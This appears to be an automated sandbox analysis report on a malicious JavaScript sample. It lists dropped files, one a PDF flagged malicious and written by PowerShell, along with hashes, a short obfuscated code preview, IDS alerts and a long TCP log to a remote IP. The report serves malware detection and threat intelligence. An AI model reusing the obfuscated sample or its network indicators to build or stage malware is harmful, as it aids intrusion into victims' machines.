Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14594), with CRLF line terminators
Entropy (8bit):	4.92696348581472
TrID:
File name:	2843421561127533345.js
File size:	18'129 bytes
MD5:	7af46243e094c324c843a5274538cb0f
SHA1:	dce9c95308c56ca2532cd969ba43bce661f814cd
SHA256:	0e74a3688da10adf39147f04229cdb4f017e7edca5912d9984fed1a8651f8751
SHA512:	3b7bf7d6f7ac3a530afd24c3f555cbac870165fa0b8f90c65183f256df587d586254aec9beafe299cce471173a367407ad2615b99b7b8296565ba849d10b8664
SSDEEP:	192:DgjOTFGuEXugDA4+RB/+F6ry1m5NRE2B/Zttagcys64NsvKmRxwEJFQu29x:1xEXuoAD0uycdBB/ZtteysMD3J729x
TLSH:	E2826258CE2ED63384E0C061F6E582FD469CA38DCCA8DEE6ACC51818B506B9476D7DF1
File Content Preview:	function sgufyaz(){zeztmztf=[1031,3079,5127,4103,2055,3072];var ccmmchso=this[wdpjsddgj+keuasfty+ijrie+fmzwpgbz+puxgvt+gypaxatp+bjrsjzrz+pieqgm](this[rnrqba+ptpbdnsu+pkephvsoc+ijrie+seidpfmq+wdpjsddgj+pieqgm][yukzcdb+ijrie+puxgvt+keuasfty+pieqgm+puxgvt+yq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:07:59.204167+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T19:08:02.253240+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49709	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:07:58.378881931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:58.384813070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:58.384936094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:58.404625893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:58.410379887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204087019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204107046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204119921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204132080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204145908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204155922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204166889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.204205990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.204462051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204474926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204487085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204499006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.204508066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.204540968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.209373951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.250683069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.250700951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.250713110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.250737906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.250772953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.332456112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.332474947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.332488060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.332539082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.332586050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.332597971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.332608938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.332617998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.332648993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.333025932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.333096027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.333107948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.333127975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.333467007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.333502054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.333508968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.333514929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.333538055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.333550930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.334059000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.334101915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.334104061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.334115982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.334150076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.334199905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.334213018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.334256887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.335038900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.335052013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.335087061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.343044996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.343063116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.343077898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.343101025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.378879070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.378906965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.378921032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.378936052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.378978968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.378984928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.379043102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.424776077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.424802065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.424845934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.460705042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.460720062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.460735083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.460745096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.460764885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.460797071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.461071968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461088896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461102009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461122990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.461152077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461186886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.461194038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461494923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461533070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.461551905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461565971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461616993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.461632967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461643934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461653948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.461679935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.462239027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.462280035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.462291002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.462296963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.462321997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.462450027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.462461948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.462472916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.462483883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.462507010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.462531090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.463166952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.463233948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.463249922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.463262081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.463270903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.463295937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.463340044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.463457108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.463469982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.463493109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.464123964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.464139938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.464150906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.464160919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.464194059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.464261055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.464272976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.464284897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.464306116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.464382887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.464421034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.465424061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.465435982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.465447903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.465460062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.465476990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.465504885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.471235037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.471249104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.471297026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.507117033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.507142067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.507153988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.507189035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.507236004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.507247925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.507272005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.517092943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.517117977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.517137051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.517178059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.517267942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.517281055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.517294884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.517348051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.553082943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.553097963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.553206921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.589013100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589040995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589056969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589071989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589087963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589095116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.589139938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.589461088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589483023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589497089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589504957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.589539051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589550018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.589564085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589601994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.589627981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589643955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589669943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589694023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.589911938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589966059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.589982986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590010881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.590050936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.590154886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590193033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590233088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.590245962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590262890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590326071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.590337992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590353012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590368032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590389967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.590734005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590764999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590780020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590786934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.590816975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.590840101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590854883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590898991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.590925932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590941906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590961933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.590982914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.591032982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591048002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591062069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591080904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.591104984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.591706038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591722965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591739893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591789007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.591789961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591804981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591820002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591831923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.591835022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591862917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.591954947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591970921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.591986895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592000008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.592000961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592026949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.592674017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592690945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592705011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592725039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592730045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.592740059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592751026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.592755079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592770100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592788935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.592811108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.592871904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592886925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592900991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592916012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.592941999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.592971087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.593574047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.593590021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.593605042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.593641996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.593662977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.593679905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.593693972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.593714952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.593743086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.593748093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.593764067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.593806028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.597479105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.599464893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.599499941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.599515915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.599539995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.599565029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.599581003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.599605083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.608478069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.609582901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.609607935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.609632015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.609646082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.609649897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.609674931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.609708071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.609724045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.609740973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.609746933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.609792948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.609793901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.609808922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.609843969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:07:59.609850883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:07:59.609858036 CET	80	49704	193.143.1.205	192.168.2.5
